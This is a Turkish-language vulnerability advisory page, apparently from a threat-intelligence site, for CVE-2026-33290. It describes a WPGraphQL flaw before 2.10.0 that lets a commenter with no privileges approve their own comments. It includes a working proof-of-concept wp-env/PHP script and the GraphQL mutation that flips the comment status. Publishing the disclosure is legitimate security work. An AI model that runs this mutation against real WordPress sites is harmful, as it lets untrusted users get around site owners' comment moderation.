CVE-2026-33290

Orta

Açıklama

WPGraphQL, WordPress siteleri için bir GraphQL API sağlar. Versiyon 2.10.0 öncesinde, updateComment fonksiyonundaki bir yetkilendirme hatası; kimliği doğrulanmış düşük yetkili bir kullanıcının (sıfır yetkiye sahip özel bir rol dahil), moderate_comments yetkisine sahip olmadan kendi yorumunun moderasyon durumunu (örneğin APPROVE olarak) değiştirmesine izin verir. Bu durum, moderasyon iş akışlarını atlayabilir ve güvenilmeyen kullanıcıların içerikleri kendilerinin onaylamasına olanak tanıyabilir. Versiyon 2.10.0 bir yama içermektedir. ### Detaylar Test edilen WPGraphQL 2.9.1 sürümünde, updateComment için yetkilendirme alan bazlı değil, sahip bazlıdır: - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 moderatörlere izin verir. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 moderasyon yetkisi olmasa bile yorum sahibine de izin verir. - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 GraphQL giriş durumunu doğrudan WordPress comment_approved ile eşleştirir. - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 bu değeri wp_update_comment aracılığıyla kalıcı hale getirir. - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 moderasyon durumlarını (APPROVE, HOLD, SPAM, TRASH) açığa çıkarır. Bu, moderatör olmayan bir sahibin güncelleme sırasında durum göndererek moderasyon durumunu değiştirebileceği anlamına gelir. ### PoC Yerel wp-env (Docker) üzerinde WPGraphQL 2.9.1 ile test edilmiştir. 1. Ortamı başlatın: npm install npm run wp-env start 2. Bu PoC'yi çalıştırın: ``` npm run wp-env run cli -- wp eval ' add_role("no_caps","No Caps",[]); $user_id = username_exists("poc_nocaps"); if ( ! $user_id ) { $user_id = wp_create_user("poc_nocaps","Passw0rd!","[email protected]"); } $user = get_user_by("id",$user_id); $user->set_role("no_caps"); $post_id = wp_insert_post([ "post_title" => "PoC post", "post_status" => "publish", "post_type" => "post", "comment_status" => "open", ]); $comment_id = wp_insert_comment([ "comment_post_ID" => $post_id, "comment_content" => "pending comment", "user_id" => $user_id, "comment_author" => $user->display_name, "comment_author_email" => $user->user_email, "comment_approved" => "0", ]); wp_set_current_user($user_id); $result = graphql([ "query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }", "variables" => [ "id" => (string)$comment_id ], ]); echo wp_json_encode([ "role_caps" => array_keys(array_filter((array)$user->allcaps)), "status" => $result["data"]["updateComment"]["comment"]["status"] ?? null, "db_comment_approved" => get_comment($comment_id)->comment_approved ?? null, "comment_id" => $comment_id ]); ' ``` 3. Sonucu gözlemleyin: - role_caps boştur (veya moderate_comments yoktur) - mutation status: APPROVE döner - DB değeri comment_approved = 1 olur ### Etki Bu, yorum moderasyon durumu geçişlerinde bir yetkilendirme atlatma / hatalı erişim kontrolü sorunudur. Düşük yetkili kullanıcıların yorum yapabildiği tüm WPGraphQL yorum mutasyonları kurulumları etkilenmektedir. İçerikler kendi kendine onaylanarak moderasyon politikası atlatılabilir.

ÖnemOrta
CVSS4.3
İstismar olasılığı—
ÜrünWp-graphql
Yayın24 Mar 2026
İlk görülme24 Mar 2026

Nasıl düzeltilir

Kaynaklarda bu zafiyet için düzeltilmiş sürüm ya da yama bağlantısı yok.

Etkilenen ürünler

ÜrünEtkilenen sürümlerDüzeltildiği sürüm
wp-graphql wp-graphql< 2.10.0—

Sürümünüzü kontrol edin

Ürünü seçin ve kullandığınız sürümü yazın; sürümün etkilenen aralıkta olup olmadığını görün.

Intelligence 360 paketinde

Attack Surface Management

Alan adlarınıza bağlı varlıkları, bu varlıklarda çalışan teknolojileri ve bilinen zafiyetleri tek listede görün.

CVE-2026-33290 · Wp-graphql · Dark Radar